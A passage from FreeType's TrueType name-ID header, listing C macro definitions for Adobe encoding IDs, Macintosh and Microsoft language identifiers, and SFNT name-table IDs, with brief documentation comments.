TT_MS_ID_JOHAB 6 #define TT_MS_ID_UCS_4 10 /* this value is deprecated */ #define TT_MS_ID_GB2312 TT_MS_ID_PRC /*********************************************************************** * * @enum: * TT_ADOBE_ID_XXX * * @description: * A list of valid values for the `encoding_id' for * @TT_PLATFORM_ADOBE charmaps. This is a FreeType-specific extension! * * @values: * TT_ADOBE_ID_STANDARD :: * Adobe standard encoding. * TT_ADOBE_ID_EXPERT :: * Adobe expert encoding. * TT_ADOBE_ID_CUSTOM :: * Adobe custom encoding. * TT_ADOBE_ID_LATIN_1 :: * Adobe Latin~1 encoding. */ #define TT_ADOBE_ID_STANDARD 0 #define TT_ADOBE_ID_EXPERT 1 #define TT_ADOBE_ID_CUSTOM 2 #define TT_ADOBE_ID_LATIN_1 3 /*********************************************************************** * * @enum: * TT_MAC_LANGID_XXX * * @description: * Possible values of the language identifier field in the name records * of the SFNT `name' table if the `platform' identifier code is * @TT_PLATFORM_MACINTOSH. These values are also used as return values * for function @FT_Get_CMap_Language_ID. * * The canonical source for Apple's IDs is * * https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6name.html */ #define TT_MAC_LANGID_ENGLISH 0 #define TT_MAC_LANGID_FRENCH 1 #define TT_MAC_LANGID_GERMAN 2 #define TT_MAC_LANGID_ITALIAN 3 #define TT_MAC_LANGID_DUTCH 4 #define TT_MAC_LANGID_SWEDISH 5 #define TT_MAC_LANGID_SPANISH 6 #define TT_MAC_LANGID_DANISH 7 #define TT_MAC_LANGID_PORTUGUESE 8 #define TT_MAC_LANGID_NORWEGIAN 9 #define TT_MAC_LANGID_HEBREW 10 #define TT_MAC_LANGID_JAPANESE 11 #define TT_MAC_LANGID_ARABIC 12 #define TT_MAC_LANGID_FINNISH 13 #define TT_MAC_LANGID_GREEK 14 #define TT_MAC_LANGID_ICELANDIC 15 #define TT_MAC_LANGID_MALTESE 16 #define TT_MAC_LANGID_TURKISH 17 #define TT_MAC_LANGID_CROATIAN 18 #define TT_MAC_LANGID_CHINESE_TRADITIONAL 19 #define TT_MAC_LANGID_URDU 20 #define TT_MAC_LANGID_HINDI 21 #define TT_MAC_LANGID_THAI 22 #define TT_MAC_LANGID_KOREAN 23 #define TT_MAC_LANGID_LITHUANIAN 24 #define TT_MAC_LANGID_POLISH 25 #define TT_MAC_LANGID_HUNGARIAN 26 #define TT_MAC_LANGID_ESTONIAN 27 #define TT_MAC_LANGID_LETTISH 28 #define TT_MAC_LANGID_SAAMISK 29 #define TT_MAC_LANGID_FAEROESE 30 #define TT_MAC_LANGID_FARSI 31 #define TT_MAC_LANGID_RUSSIAN 32 #define TT_MAC_LANGID_CHINESE_SIMPLIFIED 33 #define TT_MAC_LANGID_FLEMISH 34 #define TT_MAC_LANGID_IRISH 35 #define TT_MAC_LANGID_ALBANIAN 36 #define TT_MAC_LANGID_ROMANIAN 37 #define TT_MAC_LANGID_CZECH 38 #define TT_MAC_LANGID_SLOVAK 39 #define TT_MAC_LANGID_SLOVENIAN 40 #define TT_MAC_LANGID_YIDDISH 41 #define TT_MAC_LANGID_SERBIAN 42 #define TT_MAC_LANGID_MACEDONIAN 43 #define TT_MAC_LANGID_BULGARIAN 44 #define TT_MAC_LANGID_UKRAINIAN 45 #define TT_MAC_LANGID_BYELORUSSIAN 46 #define TT_MAC_LANGID_UZBEK 47 #define TT_MAC_LANGID_KAZAKH 48 #define TT_MAC_LANGID_AZERBAIJANI 49 #define TT_MAC_LANGID_AZERBAIJANI_CYRILLIC_SCRIPT 49 #define TT_MAC_LANGID_AZERBAIJANI_ARABIC_SCRIPT 50 #define TT_MAC_LANGID_ARMENIAN 51 #define TT_MAC_LANGID_GEORGIAN 52 #define TT_MAC_LANGID_MOLDAVIAN 53 #define TT_MAC_LANGID_KIRGHIZ 54 #define TT_MAC_LANGID_TAJIKI 55 #define TT_MAC_LANGID_TURKMEN 56 #define TT_MAC_LANGID_MONGOLIAN 57 #define TT_MAC_LANGID_MONGOLIAN_MONGOLIAN_SCRIPT 57 #define TT_MAC_LANGID_MONGOLIAN_CYRILLIC_SCRIPT 58 #define TT_MAC_LANGID_PASHTO 59 #define TT_MAC_LANGID_KURDISH 60 #define TT_MAC_LANGID_KASHMIRI 61 #define TT_MAC_LANGID_SINDHI 62 #define TT_MAC_LANGID_TIBETAN 63 #define TT_MAC_LANGID_NEPALI 64 #define TT_MAC_LANGID_SANSKRIT 65 #define TT_MAC_LANGID_MARATHI 66 #define TT_MAC_LANGID_BENGALI 67 #define TT_MAC_LANGID_ASSAMESE 68 #define TT_MAC_LANGID_GUJARATI 69 #define TT_MAC_LANGID_PUNJABI 70 #define TT_MAC_LANGID_ORIYA 71 #define TT_MAC_LANGID_MALAYALAM 72 #define TT_MAC_LANGID_KANNADA 73 #define TT_MAC_LANGID_TAMIL 74 #define TT_MAC_LANGID_TELUGU 75 #define TT_MAC_LANGID_SINHALESE 76 #define TT_MAC_LANGID_BURMESE 77 #define TT_MAC_LANGID_KHMER 78 #define TT_MAC_LANGID_LAO 79 #define TT_MAC_LANGID_VIETNAMESE 80 #define TT_MAC_LANGID_INDONESIAN 81 #define TT_MAC_LANGID_TAGALOG 82 #define TT_MAC_LANGID_MALAY_ROMAN_SCRIPT 83 #define TT_MAC_LANGID_MALAY_ARABIC_SCRIPT 84 #define TT_MAC_LANGID_AMHARIC 85 #define TT_MAC_LANGID_TIGRINYA 86 #define TT_MAC_LANGID_GALLA 87 #define TT_MAC_LANGID_SOMALI 88 #define TT_MAC_LANGID_SWAHILI 89 #define TT_MAC_LANGID_RUANDA 90 #define TT_MAC_LANGID_RUNDI 91 #define TT_MAC_LANGID_CHEWA 92 #define TT_MAC_LANGID_MALAGASY 93 #define TT_MAC_LANGID_ESPERANTO 94 #define TT_MAC_LANGID_WELSH 128 #define TT_MAC_LANGID_BASQUE 129 #define TT_MAC_LANGID_CATALAN 130 #define TT_MAC_LANGID_LATIN 131 #define TT_MAC_LANGID_QUECHUA 132 #define TT_MAC_LANGID_GUARANI 133 #define TT_MAC_LANGID_AYMARA 134 #define TT_MAC_LANGID_TATAR 135 #define TT_MAC_LANGID_UIGHUR 136 #define TT_MAC_LANGID_DZONGKHA 137 #define TT_MAC_LANGID_JAVANESE 138 #define TT_MAC_LANGID_SUNDANESE 139 /* The following codes are new as of 2000-03-10 */ #define TT_MAC_LANGID_GALICIAN 140 #define TT_MAC_LANGID_AFRIKAANS 141 #define TT_MAC_LANGID_BRETON 142 #define TT_MAC_LANGID_INUKTITUT 143 #define TT_MAC_LANGID_SCOTTISH_GAELIC 144 #define TT_MAC_LANGID_MANX_GAELIC 145 #define TT_MAC_LANGID_IRISH_GAELIC 146 #define TT_MAC_LANGID_TONGAN 147 #define TT_MAC_LANGID_GREEK_POLYTONIC 148 #define TT_MAC_LANGID_GREELANDIC 149 #define TT_MAC_LANGID_AZERBAIJANI_ROMAN_SCRIPT 150 /*********************************************************************** * * @enum: * TT_MS_LANGID_XXX * * @description: * Possible values of the language identifier field in the name records * of the SFNT `name' table if the `platform' identifier code is * @TT_PLATFORM_MICROSOFT. These values are also used as return values * for function @FT_Get_CMap_Language_ID. * * The canonical source for Microsoft's IDs is * * https://www.microsoft.com/globaldev/reference/lcid-all.mspx , * * however, we only provide macros for language identifiers present in * the OpenType specification: Microsoft has abandoned the concept of * LCIDs (language code identifiers), and format~1 of the `name' table * provides a better mechanism for languages not covered here. * * More legacy values not listed in the reference can be found in the * @FT_TRUETYPE_IDS_H header file. */ #define TT_MS_LANGID_ARABIC_SAUDI_ARABIA 0x0401 #define TT_MS_LANGID_ARABIC_IRAQ 0x0801 #define TT_MS_LANGID_ARABIC_EGYPT 0x0C01 #define TT_MS_LANGID_ARABIC_LIBYA 0x1001 #define TT_MS_LANGID_ARABIC_ALGERIA 0x1401 #define TT_MS_LANGID_ARABIC_MOROCCO 0x1801 #define TT_MS_LANGID_ARABIC_TUNISIA 0x1C01 #define TT_MS_LANGID_ARABIC_OMAN 0x2001 #define TT_MS_LANGID_ARABIC_YEMEN 0x2401 #define TT_MS_LANGID_ARABIC_SYRIA 0x2801 #define TT_MS_LANGID_ARABIC_JORDAN 0x2C01 #define TT_MS_LANGID_ARABIC_LEBANON 0x3001 #define TT_MS_LANGID_ARABIC_KUWAIT 0x3401 #define TT_MS_LANGID_ARABIC_UAE 0x3801 #define TT_MS_LANGID_ARABIC_BAHRAIN 0x3C01 #define TT_MS_LANGID_ARABIC_QATAR 0x4001 #define TT_MS_LANGID_BULGARIAN_BULGARIA 0x0402 #define TT_MS_LANGID_CATALAN_CATALAN 0x0403 #define TT_MS_LANGID_CHINESE_TAIWAN 0x0404 #define TT_MS_LANGID_CHINESE_PRC 0x0804 #define TT_MS_LANGID_CHINESE_HONG_KONG 0x0C04 #define TT_MS_LANGID_CHINESE_SINGAPORE 0x1004 #define TT_MS_LANGID_CHINESE_MACAO 0x1404 #define TT_MS_LANGID_CZECH_CZECH_REPUBLIC 0x0405 #define TT_MS_LANGID_DANISH_DENMARK 0x0406 #define TT_MS_LANGID_GERMAN_GERMANY 0x0407 #define TT_MS_LANGID_GERMAN_SWITZERLAND 0x0807 #define TT_MS_LANGID_GERMAN_AUSTRIA 0x0C07 #define TT_MS_LANGID_GERMAN_LUXEMBOURG 0x1007 #define TT_MS_LANGID_GERMAN_LIECHTENSTEIN 0x1407 #define TT_MS_LANGID_GREEK_GREECE 0x0408 #define TT_MS_LANGID_ENGLISH_UNITED_STATES 0x0409 #define TT_MS_LANGID_ENGLISH_UNITED_KINGDOM 0x0809 #define TT_MS_LANGID_ENGLISH_AUSTRALIA 0x0C09 #define TT_MS_LANGID_ENGLISH_CANADA 0x1009 #define TT_MS_LANGID_ENGLISH_NEW_ZEALAND 0x1409 #define TT_MS_LANGID_ENGLISH_IRELAND 0x1809 #define TT_MS_LANGID_ENGLISH_SOUTH_AFRICA 0x1C09 #define TT_MS_LANGID_ENGLISH_JAMAICA 0x2009 #define TT_MS_LANGID_ENGLISH_CARIBBEAN 0x2409 #define TT_MS_LANGID_ENGLISH_BELIZE 0x2809 #define TT_MS_LANGID_ENGLISH_TRINIDAD 0x2C09 #define TT_MS_LANGID_ENGLISH_ZIMBABWE 0x3009 #define TT_MS_LANGID_ENGLISH_PHILIPPINES 0x3409 #define TT_MS_LANGID_ENGLISH_INDIA 0x4009 #define TT_MS_LANGID_ENGLISH_MALAYSIA 0x4409 #define TT_MS_LANGID_ENGLISH_SINGAPORE 0x4809 #define TT_MS_LANGID_SPANISH_SPAIN_TRADITIONAL_SORT 0x040A #define TT_MS_LANGID_SPANISH_MEXICO 0x080A #define TT_MS_LANGID_SPANISH_SPAIN_MODERN_SORT 0x0C0A #define TT_MS_LANGID_SPANISH_GUATEMALA 0x100A #define TT_MS_LANGID_SPANISH_COSTA_RICA 0x140A #define TT_MS_LANGID_SPANISH_PANAMA 0x180A #define TT_MS_LANGID_SPANISH_DOMINICAN_REPUBLIC 0x1C0A #define TT_MS_LANGID_SPANISH_VENEZUELA 0x200A #define TT_MS_LANGID_SPANISH_COLOMBIA 0x240A #define TT_MS_LANGID_SPANISH_PERU 0x280A #define TT_MS_LANGID_SPANISH_ARGENTINA 0x2C0A #define TT_MS_LANGID_SPANISH_ECUADOR 0x300A #define TT_MS_LANGID_SPANISH_CHILE 0x340A #define TT_MS_LANGID_SPANISH_URUGUAY 0x380A #define TT_MS_LANGID_SPANISH_PARAGUAY 0x3C0A #define TT_MS_LANGID_SPANISH_BOLIVIA 0x400A #define TT_MS_LANGID_SPANISH_EL_SALVADOR 0x440A #define TT_MS_LANGID_SPANISH_HONDURAS 0x480A #define TT_MS_LANGID_SPANISH_NICARAGUA 0x4C0A #define TT_MS_LANGID_SPANISH_PUERTO_RICO 0x500A #define TT_MS_LANGID_SPANISH_UNITED_STATES 0x540A #define TT_MS_LANGID_FINNISH_FINLAND 0x040B #define TT_MS_LANGID_FRENCH_FRANCE 0x040C #define TT_MS_LANGID_FRENCH_BELGIUM 0x080C #define TT_MS_LANGID_FRENCH_CANADA 0x0C0C #define TT_MS_LANGID_FRENCH_SWITZERLAND 0x100C #define TT_MS_LANGID_FRENCH_LUXEMBOURG 0x140C #define TT_MS_LANGID_FRENCH_MONACO 0x180C #define TT_MS_LANGID_HEBREW_ISRAEL 0x040D #define TT_MS_LANGID_HUNGARIAN_HUNGARY 0x040E #define TT_MS_LANGID_ICELANDIC_ICELAND 0x040F #define TT_MS_LANGID_ITALIAN_ITALY 0x0410 #define TT_MS_LANGID_ITALIAN_SWITZERLAND 0x0810 #define TT_MS_LANGID_JAPANESE_JAPAN 0x0411 #define TT_MS_LANGID_KOREAN_KOREA 0x0412 #define TT_MS_LANGID_DUTCH_NETHERLANDS 0x0413 #define TT_MS_LANGID_DUTCH_BELGIUM 0x0813 #define TT_MS_LANGID_NORWEGIAN_NORWAY_BOKMAL 0x0414 #define TT_MS_LANGID_NORWEGIAN_NORWAY_NYNORSK 0x0814 #define TT_MS_LANGID_POLISH_POLAND 0x0415 #define TT_MS_LANGID_PORTUGUESE_BRAZIL 0x0416 #define TT_MS_LANGID_PORTUGUESE_PORTUGAL 0x0816 #define TT_MS_LANGID_ROMANSH_SWITZERLAND 0x0417 #define TT_MS_LANGID_ROMANIAN_ROMANIA 0x0418 #define TT_MS_LANGID_RUSSIAN_RUSSIA 0x0419 #define TT_MS_LANGID_CROATIAN_CROATIA 0x041A #define TT_MS_LANGID_SERBIAN_SERBIA_LATIN 0x081A #define TT_MS_LANGID_SERBIAN_SERBIA_CYRILLIC 0x0C1A #define TT_MS_LANGID_CROATIAN_BOSNIA_HERZEGOVINA 0x101A #define TT_MS_LANGID_BOSNIAN_BOSNIA_HERZEGOVINA 0x141A #define TT_MS_LANGID_SERBIAN_BOSNIA_HERZ_LATIN 0x181A #define TT_MS_LANGID_SERBIAN_BOSNIA_HERZ_CYRILLIC 0x1C1A #define TT_MS_LANGID_BOSNIAN_BOSNIA_HERZ_CYRILLIC 0x201A #define TT_MS_LANGID_SLOVAK_SLOVAKIA 0x041B #define TT_MS_LANGID_ALBANIAN_ALBANIA 0x041C #define TT_MS_LANGID_SWEDISH_SWEDEN 0x041D #define TT_MS_LANGID_SWEDISH_FINLAND 0x081D #define TT_MS_LANGID_THAI_THAILAND 0x041E #define TT_MS_LANGID_TURKISH_TURKEY 0x041F #define TT_MS_LANGID_URDU_PAKISTAN 0x0420 #define TT_MS_LANGID_INDONESIAN_INDONESIA 0x0421 #define TT_MS_LANGID_UKRAINIAN_UKRAINE 0x0422 #define TT_MS_LANGID_BELARUSIAN_BELARUS 0x0423 #define TT_MS_LANGID_SLOVENIAN_SLOVENIA 0x0424 #define TT_MS_LANGID_ESTONIAN_ESTONIA 0x0425 #define TT_MS_LANGID_LATVIAN_LATVIA 0x0426 #define TT_MS_LANGID_LITHUANIAN_LITHUANIA 0x0427 #define TT_MS_LANGID_TAJIK_TAJIKISTAN 0x0428 #define TT_MS_LANGID_VIETNAMESE_VIET_NAM 0x042A #define TT_MS_LANGID_ARMENIAN_ARMENIA 0x042B #define TT_MS_LANGID_AZERI_AZERBAIJAN_LATIN 0x042C #define TT_MS_LANGID_AZERI_AZERBAIJAN_CYRILLIC 0x082C #define TT_MS_LANGID_BASQUE_BASQUE 0x042D #define TT_MS_LANGID_UPPER_SORBIAN_GERMANY 0x042E #define TT_MS_LANGID_LOWER_SORBIAN_GERMANY 0x082E #define TT_MS_LANGID_MACEDONIAN_MACEDONIA 0x042F #define TT_MS_LANGID_SETSWANA_SOUTH_AFRICA 0x0432 #define TT_MS_LANGID_ISIXHOSA_SOUTH_AFRICA 0x0434 #define TT_MS_LANGID_ISIZULU_SOUTH_AFRICA 0x0435 #define TT_MS_LANGID_AFRIKAANS_SOUTH_AFRICA 0x0436 #define TT_MS_LANGID_GEORGIAN_GEORGIA 0x0437 #define TT_MS_LANGID_FAEROESE_FAEROE_ISLANDS 0x0438 #define TT_MS_LANGID_HINDI_INDIA 0x0439 #define TT_MS_LANGID_MALTESE_MALTA 0x043A #define TT_MS_LANGID_SAMI_NORTHERN_NORWAY 0x043B #define TT_MS_LANGID_SAMI_NORTHERN_SWEDEN 0x083B #define TT_MS_LANGID_SAMI_NORTHERN_FINLAND 0x0C3B #define TT_MS_LANGID_SAMI_LULE_NORWAY 0x103B #define TT_MS_LANGID_SAMI_LULE_SWEDEN 0x143B #define TT_MS_LANGID_SAMI_SOUTHERN_NORWAY 0x183B #define TT_MS_LANGID_SAMI_SOUTHERN_SWEDEN 0x1C3B #define TT_MS_LANGID_SAMI_SKOLT_FINLAND 0x203B #define TT_MS_LANGID_SAMI_INARI_FINLAND 0x243B #define TT_MS_LANGID_IRISH_IRELAND 0x083C #define TT_MS_LANGID_MALAY_MALAYSIA 0x043E #define TT_MS_LANGID_MALAY_BRUNEI_DARUSSALAM 0x083E #define TT_MS_LANGID_KAZAKH_KAZAKHSTAN 0x043F #define TT_MS_LANGID_KYRGYZ_KYRGYZSTAN /* Cyrillic*/ 0x0440 #define TT_MS_LANGID_KISWAHILI_KENYA 0x0441 #define TT_MS_LANGID_TURKMEN_TURKMENISTAN 0x0442 #define TT_MS_LANGID_UZBEK_UZBEKISTAN_LATIN 0x0443 #define TT_MS_LANGID_UZBEK_UZBEKISTAN_CYRILLIC 0x0843 #define TT_MS_LANGID_TATAR_RUSSIA 0x0444 #define TT_MS_LANGID_BENGALI_INDIA 0x0445 #define TT_MS_LANGID_BENGALI_BANGLADESH 0x0845 #define TT_MS_LANGID_PUNJABI_INDIA 0x0446 #define TT_MS_LANGID_GUJARATI_INDIA 0x0447 #define TT_MS_LANGID_ODIA_INDIA 0x0448 #define TT_MS_LANGID_TAMIL_INDIA 0x0449 #define TT_MS_LANGID_TELUGU_INDIA 0x044A #define TT_MS_LANGID_KANNADA_INDIA 0x044B #define TT_MS_LANGID_MALAYALAM_INDIA 0x044C #define TT_MS_LANGID_ASSAMESE_INDIA 0x044D #define TT_MS_LANGID_MARATHI_INDIA 0x044E #define TT_MS_LANGID_SANSKRIT_INDIA 0x044F #define TT_MS_LANGID_MONGOLIAN_MONGOLIA /* Cyrillic */ 0x0450 #define TT_MS_LANGID_MONGOLIAN_PRC 0x0850 #define TT_MS_LANGID_TIBETAN_PRC 0x0451 #define TT_MS_LANGID_WELSH_UNITED_KINGDOM 0x0452 #define TT_MS_LANGID_KHMER_CAMBODIA 0x0453 #define TT_MS_LANGID_LAO_LAOS 0x0454 #define TT_MS_LANGID_GALICIAN_GALICIAN 0x0456 #define TT_MS_LANGID_KONKANI_INDIA 0x0457 #define TT_MS_LANGID_SYRIAC_SYRIA 0x045A #define TT_MS_LANGID_SINHALA_SRI_LANKA 0x045B #define TT_MS_LANGID_INUKTITUT_CANADA 0x045D #define TT_MS_LANGID_INUKTITUT_CANADA_LATIN 0x085D #define TT_MS_LANGID_AMHARIC_ETHIOPIA 0x045E #define TT_MS_LANGID_TAMAZIGHT_ALGERIA 0x085F #define TT_MS_LANGID_NEPALI_NEPAL 0x0461 #define TT_MS_LANGID_FRISIAN_NETHERLANDS 0x0462 #define TT_MS_LANGID_PASHTO_AFGHANISTAN 0x0463 #define TT_MS_LANGID_FILIPINO_PHILIPPINES 0x0464 #define TT_MS_LANGID_DHIVEHI_MALDIVES 0x0465 #define TT_MS_LANGID_HAUSA_NIGERIA 0x0468 #define TT_MS_LANGID_YORUBA_NIGERIA 0x046A #define TT_MS_LANGID_QUECHUA_BOLIVIA 0x046B #define TT_MS_LANGID_QUECHUA_ECUADOR 0x086B #define TT_MS_LANGID_QUECHUA_PERU 0x0C6B #define TT_MS_LANGID_SESOTHO_SA_LEBOA_SOUTH_AFRICA 0x046C #define TT_MS_LANGID_BASHKIR_RUSSIA 0x046D #define TT_MS_LANGID_LUXEMBOURGISH_LUXEMBOURG 0x046E #define TT_MS_LANGID_GREENLANDIC_GREENLAND 0x046F #define TT_MS_LANGID_IGBO_NIGERIA 0x0470 #define TT_MS_LANGID_YI_PRC 0x0478 #define TT_MS_LANGID_MAPUDUNGUN_CHILE 0x047A #define TT_MS_LANGID_MOHAWK_MOHAWK 0x047C #define TT_MS_LANGID_BRETON_FRANCE 0x047E #define TT_MS_LANGID_UIGHUR_PRC 0x0480 #define TT_MS_LANGID_MAORI_NEW_ZEALAND 0x0481 #define TT_MS_LANGID_OCCITAN_FRANCE 0x0482 #define TT_MS_LANGID_CORSICAN_FRANCE 0x0483 #define TT_MS_LANGID_ALSATIAN_FRANCE 0x0484 #define TT_MS_LANGID_YAKUT_RUSSIA 0x0485 #define TT_MS_LANGID_KICHE_GUATEMALA 0x0486 #define TT_MS_LANGID_KINYARWANDA_RWANDA 0x0487 #define TT_MS_LANGID_WOLOF_SENEGAL 0x0488 #define TT_MS_LANGID_DARI_AFGHANISTAN 0x048C /* */ /* legacy macro definitions not present in OpenType 1.8.1 */ #define TT_MS_LANGID_ARABIC_GENERAL 0x0001 #define TT_MS_LANGID_CATALAN_SPAIN \ TT_MS_LANGID_CATALAN_CATALAN #define TT_MS_LANGID_CHINESE_GENERAL 0x0004 #define TT_MS_LANGID_CHINESE_MACAU \ TT_MS_LANGID_CHINESE_MACAO #define TT_MS_LANGID_GERMAN_LIECHTENSTEI \ TT_MS_LANGID_GERMAN_LIECHTENSTEIN #define TT_MS_LANGID_ENGLISH_GENERAL 0x0009 #define TT_MS_LANGID_ENGLISH_INDONESIA 0x3809 #define TT_MS_LANGID_ENGLISH_HONG_KONG 0x3C09 #define TT_MS_LANGID_SPANISH_SPAIN_INTERNATIONAL_SORT \ TT_MS_LANGID_SPANISH_SPAIN_MODERN_SORT #define TT_MS_LANGID_SPANISH_LATIN_AMERICA 0xE40AU #define TT_MS_LANGID_FRENCH_WEST_INDIES 0x1C0C #define TT_MS_LANGID_FRENCH_REUNION 0x200C #define TT_MS_LANGID_FRENCH_CONGO 0x240C /* which was formerly: */ #define TT_MS_LANGID_FRENCH_ZAIRE \ TT_MS_LANGID_FRENCH_CONGO #define TT_MS_LANGID_FRENCH_SENEGAL 0x280C #define TT_MS_LANGID_FRENCH_CAMEROON 0x2C0C #define TT_MS_LANGID_FRENCH_COTE_D_IVOIRE 0x300C #define TT_MS_LANGID_FRENCH_MALI 0x340C #define TT_MS_LANGID_FRENCH_MOROCCO 0x380C #define TT_MS_LANGID_FRENCH_HAITI 0x3C0C #define TT_MS_LANGID_FRENCH_NORTH_AFRICA 0xE40CU #define TT_MS_LANGID_KOREAN_EXTENDED_WANSUNG_KOREA \ TT_MS_LANGID_KOREAN_KOREA #define TT_MS_LANGID_KOREAN_JOHAB_KOREA 0x0812 #define TT_MS_LANGID_RHAETO_ROMANIC_SWITZERLAND \ TT_MS_LANGID_ROMANSH_SWITZERLAND #define TT_MS_LANGID_MOLDAVIAN_MOLDAVIA 0x0818 #define TT_MS_LANGID_RUSSIAN_MOLDAVIA 0x0819 #define TT_MS_LANGID_URDU_INDIA 0x0820 #define TT_MS_LANGID_CLASSIC_LITHUANIAN_LITHUANIA 0x0827 #define TT_MS_LANGID_SLOVENE_SLOVENIA \ TT_MS_LANGID_SLOVENIAN_SLOVENIA #define TT_MS_LANGID_FARSI_IRAN 0x0429 #define TT_MS_LANGID_BASQUE_SPAIN \ TT_MS_LANGID_BASQUE_BASQUE #define TT_MS_LANGID_SORBIAN_GERMANY \ TT_MS_LANGID_UPPER_SORBIAN_GERMANY #define TT_MS_LANGID_SUTU_SOUTH_AFRICA 0x0430 #define TT_MS_LANGID_TSONGA_SOUTH_AFRICA 0x0431 #define TT_MS_LANGID_TSWANA_SOUTH_AFRICA \ TT_MS_LANGID_SETSWANA_SOUTH_AFRICA #define TT_MS_LANGID_VENDA_SOUTH_AFRICA 0x0433 #define TT_MS_LANGID_XHOSA_SOUTH_AFRICA \ TT_MS_LANGID_ISIXHOSA_SOUTH_AFRICA #define TT_MS_LANGID_ZULU_SOUTH_AFRICA \ TT_MS_LANGID_ISIZULU_SOUTH_AFRICA #define TT_MS_LANGID_SAAMI_LAPONIA 0x043B /* the next two values are incorrectly inverted */ #define TT_MS_LANGID_IRISH_GAELIC_IRELAND 0x043C #define TT_MS_LANGID_SCOTTISH_GAELIC_UNITED_KINGDOM 0x083C #define TT_MS_LANGID_YIDDISH_GERMANY 0x043D #define TT_MS_LANGID_KAZAK_KAZAKSTAN \ TT_MS_LANGID_KAZAKH_KAZAKHSTAN #define TT_MS_LANGID_KIRGHIZ_KIRGHIZ_REPUBLIC \ TT_MS_LANGID_KYRGYZ_KYRGYZSTAN #define TT_MS_LANGID_KIRGHIZ_KIRGHIZSTAN \ TT_MS_LANGID_KYRGYZ_KYRGYZSTAN #define TT_MS_LANGID_SWAHILI_KENYA \ TT_MS_LANGID_KISWAHILI_KENYA #define TT_MS_LANGID_TATAR_TATARSTAN \ TT_MS_LANGID_TATAR_RUSSIA #define TT_MS_LANGID_PUNJABI_ARABIC_PAKISTAN 0x0846 #define TT_MS_LANGID_ORIYA_INDIA \ TT_MS_LANGID_ODIA_INDIA #define TT_MS_LANGID_MONGOLIAN_MONGOLIA_MONGOLIAN \ TT_MS_LANGID_MONGOLIAN_PRC #define TT_MS_LANGID_TIBETAN_CHINA \ TT_MS_LANGID_TIBETAN_PRC #define TT_MS_LANGID_DZONGHKA_BHUTAN 0x0851 #define TT_MS_LANGID_TIBETAN_BHUTAN \ TT_MS_LANGID_DZONGHKA_BHUTAN #define TT_MS_LANGID_WELSH_WALES \ TT_MS_LANGID_WELSH_UNITED_KINGDOM #define TT_MS_LANGID_BURMESE_MYANMAR 0x0455 #define TT_MS_LANGID_GALICIAN_SPAIN \ TT_MS_LANGID_GALICIAN_GALICIAN #define TT_MS_LANGID_MANIPURI_INDIA /* Bengali */ 0x0458 #define TT_MS_LANGID_SINDHI_INDIA /* Arabic */ 0x0459 #define TT_MS_LANGID_SINDHI_PAKISTAN 0x0859 #define TT_MS_LANGID_SINHALESE_SRI_LANKA \ TT_MS_LANGID_SINHALA_SRI_LANKA #define TT_MS_LANGID_CHEROKEE_UNITED_STATES 0x045C #define TT_MS_LANGID_TAMAZIGHT_MOROCCO /* Arabic */ 0x045F #define TT_MS_LANGID_TAMAZIGHT_MOROCCO_LATIN \ TT_MS_LANGID_TAMAZIGHT_ALGERIA #define TT_MS_LANGID_KASHMIRI_PAKISTAN /* Arabic */ 0x0460 #define TT_MS_LANGID_KASHMIRI_SASIA 0x0860 #define TT_MS_LANGID_KASHMIRI_INDIA \ TT_MS_LANGID_KASHMIRI_SASIA #define TT_MS_LANGID_NEPALI_INDIA 0x0861 #define TT_MS_LANGID_DIVEHI_MALDIVES \ TT_MS_LANGID_DHIVEHI_MALDIVES #define TT_MS_LANGID_EDO_NIGERIA 0x0466 #define TT_MS_LANGID_FULFULDE_NIGERIA 0x0467 #define TT_MS_LANGID_IBIBIO_NIGERIA 0x0469 #define TT_MS_LANGID_SEPEDI_SOUTH_AFRICA \ TT_MS_LANGID_SESOTHO_SA_LEBOA_SOUTH_AFRICA #define TT_MS_LANGID_SOTHO_SOUTHERN_SOUTH_AFRICA \ TT_MS_LANGID_SESOTHO_SA_LEBOA_SOUTH_AFRICA #define TT_MS_LANGID_KANURI_NIGERIA 0x0471 #define TT_MS_LANGID_OROMO_ETHIOPIA 0x0472 #define TT_MS_LANGID_TIGRIGNA_ETHIOPIA 0x0473 #define TT_MS_LANGID_TIGRIGNA_ERYTHREA 0x0873 #define TT_MS_LANGID_TIGRIGNA_ERYTREA \ TT_MS_LANGID_TIGRIGNA_ERYTHREA #define TT_MS_LANGID_GUARANI_PARAGUAY 0x0474 #define TT_MS_LANGID_HAWAIIAN_UNITED_STATES 0x0475 #define TT_MS_LANGID_LATIN 0x0476 #define TT_MS_LANGID_SOMALI_SOMALIA 0x0477 #define TT_MS_LANGID_YI_CHINA \ TT_MS_LANGID_YI_PRC #define TT_MS_LANGID_PAPIAMENTU_NETHERLANDS_ANTILLES 0x0479 #define TT_MS_LANGID_UIGHUR_CHINA \ TT_MS_LANGID_UIGHUR_PRC /*********************************************************************** * * @enum: * TT_NAME_ID_XXX * * @description: * Possible values of the `name' identifier field in the name records of * an SFNT `name' table. These values are platform independent. */ #define TT_NAME_ID_COPYRIGHT 0 #define TT_NAME_ID_FONT_FAMILY 1 #define TT_NAME_ID_FONT_SUBFAMILY 2 #define TT_NAME_ID_UNIQUE_ID 3 #define TT_NAME_ID_FULL_NAME 4 #define TT_NAME_ID_VERSION_STRING 5 #define TT_NAME_ID_PS_NAME 6 #define TT_NAME_ID_TRADEMARK 7 /* the following values are from the OpenType spec */ #define TT_NAME_ID_MANUFACTURER 8 #define TT_NAME_ID_DESIGNER 9 #define TT_NAME_ID_DESCRIPTION 10 #define TT_NAME_ID_VENDOR_URL 11 #define TT_NAME_ID_DESIGNER_URL 12 #define TT_NAME_ID_LICENSE 13 #define TT_NAME_ID_LICENSE_URL 14 /* number 15 is reserved */ #define TT_NAME_ID_TYPOGRAPHIC_FAMILY 16 #define TT_NAME_ID_TYPOGRAPHIC_SUBFAMILY 17 #define TT_NAME_ID_MAC_FULL_NAME 18 /* The following code is new as of 2000-01-21 */ #define TT_NAME_ID_SAMPLE_TEXT 19 /* This is new in OpenType 1.3 */ #define TT_NAME_ID_CID_FINDFONT_NAME 20 /* This is new in OpenType 1.5 */ #define TT_NAME_ID_WWS_FAMILY 21 #define TT_NAME_ID_WWS_SUBFAMILY 22 /* This is new in OpenType 1.7 */ #define TT_NAME_ID_LIGHT_BACKGROUND 23 #define TT_NAME_ID_DARK_BACKGROUND 24 /* This is new in OpenType 1.8 */ #define TT_NAME_ID_VARIATIONS_PREFIX 25 /* these two values are deprecated */ #define TT_NAME_ID_PREFERRED_FAMILY TT_NAME_ID_TYPOGRAPHIC_FAMILY #define 